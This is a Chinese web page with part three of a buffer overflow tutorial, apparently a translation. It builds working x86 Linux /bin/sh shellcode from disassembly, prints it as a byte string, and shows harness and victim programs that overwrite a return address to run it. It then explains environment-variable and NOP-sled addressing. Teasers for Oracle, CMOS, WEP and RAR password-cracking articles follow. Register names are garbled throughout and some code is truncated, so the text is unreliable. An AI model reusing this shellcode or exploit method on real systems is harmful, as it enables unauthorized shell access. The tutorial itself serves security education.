缓冲区溢出解密三
所属分类:
网络安全 / 加密解密
阅读数:
184
收藏 0赞 0分享
如何执行 /bin/sh?
在C中,spawn出一个shell的代码可能象这样:
shell.c :
#include
void main()
{
char *shell[2];
shell[0] = "/bin/sh";
shell[1] = NULL;
execve(shell[0], shell, NULL);
}
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g shell.c -o shell
[murat@victim murat]$ ./shell
bash$
如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。
目前为止一切顺利……但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能!
这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。
因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。
首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看:
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \: -A 12
0804ca10 :
804ca10: 53 pushl 離
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
804ca1d: b8 0b 00 00 00 movl $0xb,陎
804ca22: cd 80 int $0x80
804ca24: 5b popl 離
804ca25: 3d 01 f0 ff ff cmpl $0xfffff001,陎
804ca2a: 0f 83 00 02 00 jae 804cc30
804ca2f: 00
804ca30: c3 ret
804ca31: 90 nop
[murat@victim murat]$
让我们一步一步地分析这个系统调用:
记住,在我们的main()函数里,我们写了代码:
execve(shell[0], shell, NULL)
我们传递了:
·字符串”/bin/sh”的地址
·NULL结尾数组的地址
·NULL(实际上它是环境地址)
此处,在main里面:
[murat@victim murat]$ objdump -d shell | grep \: -A 17
08048124 :
8048124: 55 pushl 雙
8048125: 89 e5 movl %esp,雙
8048127: 83 ec 08 subl $0x8,%esp
804812a: c7 45 f8 ac 92 movl $0x80592ac,0xfffffff8(雙)
804812f: 05 08
8048131: c7 45 fc 00 00 movl $0x0,0xfffffffc(雙)
8048136: 00 00
8048138: 6a 00 pushl $0x0
804813a: 8d 45 f8 leal 0xfffffff8(雙),陎
804813d: 50 pushl 陎
804813e: 8b 45 f8 movl 0xfffffff8(雙),陎
8048141: 50 pushl 陎
8048142: e8 c9 48 00 00 call 804ca10
8048147: 83 c4 0c addl $0xc,%esp
804814a: c9 leave
804814b: c3 ret
804814c: 90 nop
在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。
因此,如果我们回到__execve:
我们拷贝NULL字节到EDX寄存器,
804ca11: 8b 54 24 10 movl 0x10(%esp,1),韝
我们拷贝以NULL结尾数组的地址到ECX寄存器,
804ca15: 8b 4c 24 0c movl 0xc(%esp,1),靫
我们拷贝字符串"/bin/sh"的地址到EBX寄存器
804ca19: 8b 5c 24 08 movl 0x8(%esp,1),離
我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:
804ca1d: b8 0b 00 00 00 movl $0xb,陎
接着变成核模式:
804ca22: cd 80 int $0x80
我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和”/bin/sh”字符串的地址。那么,这个怎么样?:
xorl 陎, 陎
pushl 陎
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp,離
pushl 陎
pushl 離
movl %esp,靫
cdql
movb $0x0b,%al
int $0x80
让我解释一下上面的指令:
如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。
xorl 陎, 陎
接着我们把NULL推入堆栈:
pushl 陎
我们把字符串”//sh”推入堆栈,
2f is /
2f is /
73 is s
68 is h
pushl $0x68732f2f
我们把字符串”/bin”推入堆栈:
2f is /
62 is b
69 is i
6e is n
pushl $0x6e69622f
可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串”/bin/sh”的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把”/bin/sh”的地址放到EBX寄存器中了。
movl %esp,離
接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。
pushl 陎
接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell[0]:
pushl 離
现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址:
movl %esp,靫
我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。:
cdql
我们设定EAX 为0xb,这是系统调用表中的系统调用id。
movb $0x0b,%al
接着,我们转换到核模式:
int 0x80
之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell……
因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码:
sc.c :
char newsc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
}
[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \ -A13
080494b0 :
80494b0: 31 c0 xorl 陎,陎
80494b2: 50 pushl 陎
80494b3: 68 2f 2f 73 68 pushl $0x68732f2f
80494b8: 68 2f 62 69 6e pushl $0x6e69622f
80494bd: 89 e3 movl %esp,離
80494bf: 50 pushl 陎
80494c0: 53 pushl 離
80494c1: 89 e1 movl %esp,靫
80494c3: 99 cltd
80494c4: b0 0b movb $0xb,%al
80494c6: cd 80 int $0x80
80494c8: 00 00 addb %al,(陎)
...
[murat@victim newsc]$
在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。
那么,这里就是完整的shell代码:
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
最后测试我们的shell代码:
shellcode.c :
char sc[]= /* 24 bytes */
"\x31\xc0" /* xorl 陎,陎 */
"\x50" /* pushl 陎 */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,離 */
"\x50" /* pushl 陎 */
"\x53" /* pushl 離 */
"\x89\xe1" /* movl %esp,靫 */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
main()
{
int *ret;
ret = (int *)&ret 2;
*ret = sc;
}
[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
嗯,它生效了。上面我们所做的是,增加ret的地址2个双字(8字节),因而就到了main()的返回地址存储的内存位置。接着,因为ret相应的地址现在是RET,我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上,我们在这里改变了返回地址的值,而这个返回地址就指向了sc[]。当main()发送RET时,sc的地址写到EIP中了,接着,CPU开始在这执行指令,造成了/bin/sh的执行。
写本地缓冲区溢出漏洞利用程序
现在,让我们看看下面的程序:
victim.c :
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
char large_str[50];
void main()
{
int i;
char foo[12];
int *ap = (int *)large_str;
for (i = 0; i
瞧!就是它了!我们做了什么?在for循环里面,我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节),我们以4为步长增加i。接着,在main()里,当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查,而且一直拷贝到main的返回地址。接着,当strcpy指令发送到RET,我们shellcode的地址已经被POP进去了,而且放入了EIP。接着它就被执行了。这里有一件事是:strcpy没有溢出它的缓冲区,它溢出了main()的缓冲区,因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始,而不是strcpy返回的时候。
上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢?我们不能预先知道内存的布局,不是吗?这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢?首先,我们必须用某些途径把shellcode植入到有弱点的程序,而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时,有两种方法。
1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的,我们把我们的shellcode放置到有缺陷程序的缓冲区,而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法,我们能知道我们shellcode的地址!这真是太好了!怎么做?看这个:如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址,你将看到象这样的一些东西:
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ...... | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................| ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
| . |
| . |
| . |
看上面的图,我们都会同意我们能计算最后一个环境变量地址。它是:
envp = 0xBFFFFFFF -
4 - (4 NULL bytes)
strlen(program_name) - (program_names's length - without the leading NULL).
1 - (NULL which strlen did not count above)
strlen(envp[n])) (the length of last environment string)
除去一些不必要的计算,这里是最终的结果:
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你还记得我们给execve提供一个环境指针吗?这有没有让你想起什么?对了,我们可以通过这个环境指针把我们的shellcode传给漏洞程序,并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。
计算我们的shellcode 地址的公式:
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中讨论的在外面被广泛使用的方法,多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章,Smashing the Stack for Fun and Profit。
一般来说,在这个方法中,我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后,我们放置我们的shellcode,接着是这个shellcode的地址。
如我前面所说的,既然我们不知道我们shellcode的准确地址,我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性。
破解Oracle数据库的密码
要连接远程的 Oracle 数据库,需要知道 SID,用户名, 密码,当然还有最重要的 IP 地址。SID 如果被管理 员修改的话,可以利用 sidguess 来进行破解,速度非常的快,至于成功与否,就要看你的字典配置了。破解 效果如图 1。
图 1
收藏 0赞 0分享
破解CMOS密码的四种方法
1.简单的DOS下DEBUG破解程序:
用软盘启动进入DOS下,执行Debug程序(你没有,那得去拷贝一个啊)
1)debug
o 70 2e (回车)
o 71 00 (回车)
o 70 2f (回车)
收藏 0赞 0分享
轻松破解无线网络WEP密码下篇
上期为各位介绍了将自己的网卡重新安装驱动,以便使用无线网络检测及WEP解密工具。当我们把网卡驱动更新完毕后,我们再来看看如何找出已经禁用了SSID号广播的无线网络以及进行WEP解密工作。
一、使用airodump抓取无线网络数据包并破解SSID名称:
收藏 0赞 0分享
简单破解“高强度文件夹加密大师”
今天我们社团学弟拿了一个高强度文件夹加密大师给社长试试,说是一个这加密文件夹很好的东西,可以把私藏的物品放在文件夹然后加密文件夹。我处于好奇也跟了上去看看。他又说,这是他花了好长时间才找到的一个不错的东西,还说网络上没有比这个还好的加密文件夹软件了
收藏 0赞 0分享
在KDE环境下安装GnuPG加密软件
大多数人以前没有使用过加密技术,我记录了在Mandrake 10.0发行版中KDE环境下创建我的公/私钥的过程,我将这些步骤记录下来了,没有使用到命令行,其linux发行版可能更容易安装。
首先你得在纸上创建你的密码,密码的长度没有限制,你应该小心选择,你可以使用空
收藏 0赞 0分享
轻松破解无线网络WEP密码上篇
近些年无线技术发展迅速,越来越多的用户使用无线设备在自己家建立起无线网络,通过搭建无线网络可以在家里的每个角落使用笔记本和无线网卡访问internet。有很多文章都向大家介绍了无线安全之中的通过设置WEP加密来保证其他计算机以及非法用户无法连接我们建立的无线
收藏 0赞 0分享
简述加密和数字签名的区别
什么是加密?
用非常基本的词汇说,加密是一种以密码方式发送信息的方法。只有拥有正确密钥的人才能解开这个信息的密码。对于其他人来说,这个信息看起来就像是一系列随机的字母、数字和符号。如果你要发送不应该让其他人看的敏感信息时,加密是特别重要的。由于
收藏 0赞 0分享
介绍几款“加密”软件的破解方法
现在网络上流行很多文件夹加密和文件加密的所谓加密软件,很多都是个人根据开源代码编写的程序,多数都是利用windows技巧实现的(最常见的就是将文件隐藏到回收站,万一你不小心删除了回收站或者重装了系统,那就只有哭了),最受不了的就是他们还都号称自己是什么“
收藏 0赞 0分享
加密全接触
经过陈冠希的艳照门事件之后,相信各位网友都对自己电脑里的一些隐私文件的保存问题有了更高的安全要求(不吃亏不知道补牢)。无论是黑客入侵、电脑丢失、电脑送修等都可能会导致自己的隐私文件泄露。为了避免这些问题,最方便快捷的方法就是对我们的隐私文件进行加密处理
收藏 0赞 0分享
破解Rar加密文件的方法
(1)了解破解rar加密文件方面的相关知识
(2)使用工具软件Advanced RAR Password Recovery 1.11破解rar加密文件
对于一些安全意识比较强的人来说,一般都会对文件进行加密,例如使用rar自带的加密功能进行加密,如果偶然获取了
收藏 0赞 0分享
查看更多